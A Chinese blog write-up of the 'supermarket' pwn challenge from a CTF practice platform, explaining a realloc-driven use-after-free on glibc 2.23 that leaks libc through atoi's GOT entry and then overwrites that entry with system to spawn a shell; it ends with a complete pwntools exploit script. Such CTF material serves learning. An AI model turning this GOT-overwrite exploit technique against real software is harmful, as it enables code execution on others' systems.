uaf-逻辑题-攻防世界 supermarket

刚开始我也被这题绕晕了,做这种题要画图画图!!!不然很容易做着做着忘了自己做到哪里来了

本题环境是ubuntu16、glib2.23!!!我第一次做的时候用的ubuntu18也就是glib2.27这时有tcache freechunk的分配策略不一样死活跑不出来,这题我还要研究一下tcache版本的。

  1. 首先申请了一个不在fastbin范围(0x10~0x58)的chunk0,然后再申请一个随便大小的chunk1,解释:因为下面我将要用remalloc重新分配chun0,remalloc如果重新分配的chunk下面有其他chunk的话,就会丢弃原来位置的chunk并free它,然后在最后面再申请一个chunk你申请大于原size的chunk,这样就产生了一个free chunk,如果chunk0后面没有其他chunk的话就会原地扩充大小,并不会新产生一个chunk这样就没意义了,漏洞主要利用的就是free chunk

  2. 嗯上面说到的,然后我们进行relloca重新分配chunk0(为什么不是chunk1上面解释了),执行后原来chunk0(size = 0x80)的chunk就会变为free chunk,然后在依次内存申请一个你relloca大小的chunk如图:

  1. 那么realloc后的残余chunk的指针没有被置空,且现在是一块free chunk,那不就是等着被我宰割的chunk吗,那么我再重新malloc一块真实大小小于0x88的chunk2那么它就会被我拿过来,然后我通过我新malloc的指针去控制它,实现双重控制,因为我的环境是ubuntu16(glibc2.23)所以它是一块unsortbin这时我新申请的chunk2就会去分割这个unsortbin。好,怎么分割呢?因为我调用add函数时,程序会先自己切割0x1c(实际大小0x20)大小的chunk给自己当类似结构体的chunk,然后假设我们chunk2申请的大小为0x20(实际大小0x28)那么它就会再从刚才被切个掉0x20大小的剩余chunk里面再切掉0x28的空间作为我chunk2->description[2] (0x28),那么此时的空间是这样的如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jxa3zRbV-1638248880332)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211129160946670.png)]

理解图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tEJnN7UU-1638248880335)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211129161627504.png)]

  1. 此时并没有结束,chunk2只是修改了chunk0->desc 只会让chunk0的desc内容变化,为什么呢?因为前面realloc(chun0)的后产生的新地址并没有去接收并使用新指针源代码如图:。所以原来的chunk0->description还是指向原来的地址,这就和malloca->free后没有置空指针一样的效果,题目作者还真是关闭了一扇门打开了一扇窗。然而改变chunk0的desc内容并没什么用,我们要控制的是chunk结构体的malloc指针将它改为got表地址,从而打印除got表的值(注意!我们要得到的是got表地址里的内存值,这个值才能泄漏libc)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lwElJ8cL-1638248880337)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211129163634849.png)]

  1. 好!重点来了,现在chunk2的结构是 chunk0->desc ----指向—> chunk2->decs,因为上面realloc(chun0)后没有重新接收新内存的指针导致还是指向原地,但是这时原地的内存现在已经重新分配给chunk2的类似结构体的chunk,因为它首先程序默认申请了0x1c大小(实际大小0x20)的chunk那么原chunk0->desc的大小就变成了0x20(但是chunk0->desc还是以为它拥有之前很大一块的内存因为还是指向原地的原因),,,,正因为没有进行更新指针,且realloc后程序还提供了description内容修改操作(这个description的内容长度是由我们的重新realloc的大小决定的)所以我们在修改chunk0->desc的内容也是在修改chunk2的结构体chunk,那么原来0x1c大小的chunk空间只能输入name(0x10)+price(0x4)+descrip_size(0x4)的空间如图:,现在由我们控制空间大小了,那么就可以写入name(0x10)+price(0x4)+descrip_size(0x4)+got(我们想要输出的got地址)以达到覆盖原malloc指针的位置了从而达到调用got表的目的。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E1PpIZjT-1638248880339)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211129173559361.png)]

  1. 那么此时我们再进行realloc(chunk0),并重新写入数据,这时就是在修改chun2的结构体chunk了,那么我们数据的格式就因该是name(0x10)+price(0x4)+descrip_size(0x4)+got(我们想要输出的got地址)这样那么就是长度就是0x1c所以就只至少申请0x1c大小的chunk此时chunk0->desc指向原地还是以为自己有0x80的大小所以我们realloc(chun0,0x1c)的内存并不会导致它重新分配,额,其实现在已经不重要了,因为就算重新分配了后变成了free chunk 但是我们写入的数据还是写入到了free chunk,而chunk0-desc还是指向这块free chunk并从中读取内容如图:(这个图里面的把got地址去掉了,实际只存入了0x1c-0x4的内容)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DJV6dcsI-1638248880342)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211129181623572.png)]

当我存入got地址后如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RBHVWx3P-1638248880344)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211129181853922.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f8OVOC2r-1638248880346)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211129182114240.png)]

这里就破坏了堆结构,但是内存数据可以正常使用,但是不能malloc了不然就会报错,反正是为了得到shell,程序这里就坏了

  1. 到现在我们已经拿到libc的地址,那么就也意味着拿到了system()地址,好,上面说到申请的chun2其实的结构体chun2就是从chun0(0x80)丢弃的free chunk里面切割出来的0x20,chun2就是切割出来的0x28上面的图如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OIA9Uefi-1638248880347)(刚开始我也被这题绕晕的这题利用的漏洞是remalloc函数后没有置空原来的指针,所以导致原来的指针还是指向原内存区域,然后再申请时就可以操作本身+操作原内存区域,造成改写内存数据,然后再去执行原来的内存区域时就执行了我们复写的数据.assets/image-20211130115428163.png)]

此时chunk2的实际结构示意如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WTffkRak-1638248880349)(刚开始我也被这题绕晕的这题利用的漏洞是remalloc函数后没有置空原来的指针,所以导致原来的指针还是指向原内存区域,然后再申请时就可以操作本身+操作原内存区域,造成改写内存数据,然后再去执行原来的内存区域时就执行了我们复写的数据.assets/image-20211130121750352.png)]

经过上面的泄漏地址的数据填充,那么chun2的结构如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1MHZxVxJ-1638248880351)(刚开始我也被这题绕晕的这题利用的漏洞是remalloc函数后没有置空原来的指针,所以导致原来的指针还是指向原内存区域,然后再申请时就可以操作本身+操作原内存区域,造成改写内存数据,然后再去执行原来的内存区域时就执行了我们复写的数据.assets/image-20211130123415630.png)]

因为程序中有的结构体chunk与chunk-desc有一个指针指向关系,所以我们将atoi@got->value改为system@got->value就实现了任意地址改。

函数调用大概是这一个关系例如(atoi):

 call atoi@plt(0x80485C0) 
 jmp  atoi@got(0x804b048) ---value--> 0xf7d4f260
 而got表下面的值才是atoi的真正地址,也只有它才可以进行libc泄漏
  1. 回到程序还差最后一步,是不是只要修改chun2->desc的值为system函数,然年在调用atoi函数时输入’sh’就可以getshell了,所以我们在编辑一下chunk2的desc内容,这里要注意的是,因为我们操作了free chunk 而程序也进行了对free chunk调用造成了堆空间混乱,所以我们不能变换之前申请的大小,不然就会就会调用realloc函数从而导致程序崩溃,源代码如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Kvk8UM5w-1638248880352)(刚开始我也被这题绕晕的这题利用的漏洞是remalloc函数后没有置空原来的指针,所以导致原来的指针还是指向原内存区域,然后再申请时就可以操作本身+操作原内存区域,造成改写内存数据,然后再去执行原来的内存区域时就执行了我们复写的数据.assets/image-20211130125237303.png)]

所以题目就分析完了,最后的exp:

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
context.arch = 'i386'
#coneext.terminal = ['tmux' , 'splitw', '-h']
SigreturnFrame(kernel = 'i386')

binary = "./supermarket"

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("47.108.195.119","20113")
    e = ELF(binary)
    #libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


def dbg():
 gdb.attach(p)
 pause()

def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
#lg('canary',canary)

def add(name,price,descrip_size,description):
    sla('your choice>>','1')
    sla('name:',name)
    sla('price:',price)
    sla('descrip_size:',descrip_size)
    sla('description:',description)

def delete(name):
    sla('your choice>>','2')
    sla('name:',name)

def show():
    sla('your choice>>','3')

def c_price(name,rides_price):
    sla('your choice>>','4')
    sla('name:',name)
    sla('input the value you want to cut or rise in:',rides_price)

def c_desc(name,descrip_size,description):
    sla('your choice>>','5')
    sla('name:',name)
    sla('descrip_size:',descrip_size)
    sla('description:',description)

#start
got=e.got["atoi"]
add('0','10',str(0x80),'AAAAAAAA') #add的size没有实际作用,所以可以用来区分我的chunk,以便观察堆空间
add('1','20',str(0x20),'BBBBBBBB')
#pause()

c_desc('0',str(0x90),'')
#pause()

add('2','30',str(0x20),'CCCCCCCC')
#pause()

payload =  b'2'.ljust(16, b'\x00') + p32(20) + p32(0x20) + p32(got)
#payload =  b'2'.ljust(16, b'\x00') + p32(20) + p32(0x20) + b''#test payloa
success('len',len(payload))
c_desc('0',str(0x90),payload) #这里就破坏了堆结构,但是内存数据可以正常使用,但是不能malloc了不然就会报错
show()
#pause()

ru('2: price.20, des.')
atoi_addr = uu32(rc(4))
success('atoi addr -> ',atoi_addr)
libc_base = atoi_addr - libc.symbols['atoi']
success('libc_base addr',libc_base)
#pause()

c_desc('2',str(0x20),p32(libc_base + libc.symbols['system'])) #这里的size必须和上面payload的size一样,保证不触发malloc
sla('your choice>>','sh')
#pause()

it()

在这里apoi函数是最好利用的,其实也不一定要这个函数,这个程序中strlen也是可以利用的但是在使用它的时候还没初始化,这里说一下,以防忘记这个函数

发这个帖子的目标也是希望大佬能帮我看看我是不是哪里理解有误,这才是最致命的。。。。

这题的理解图我放在附件上面

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值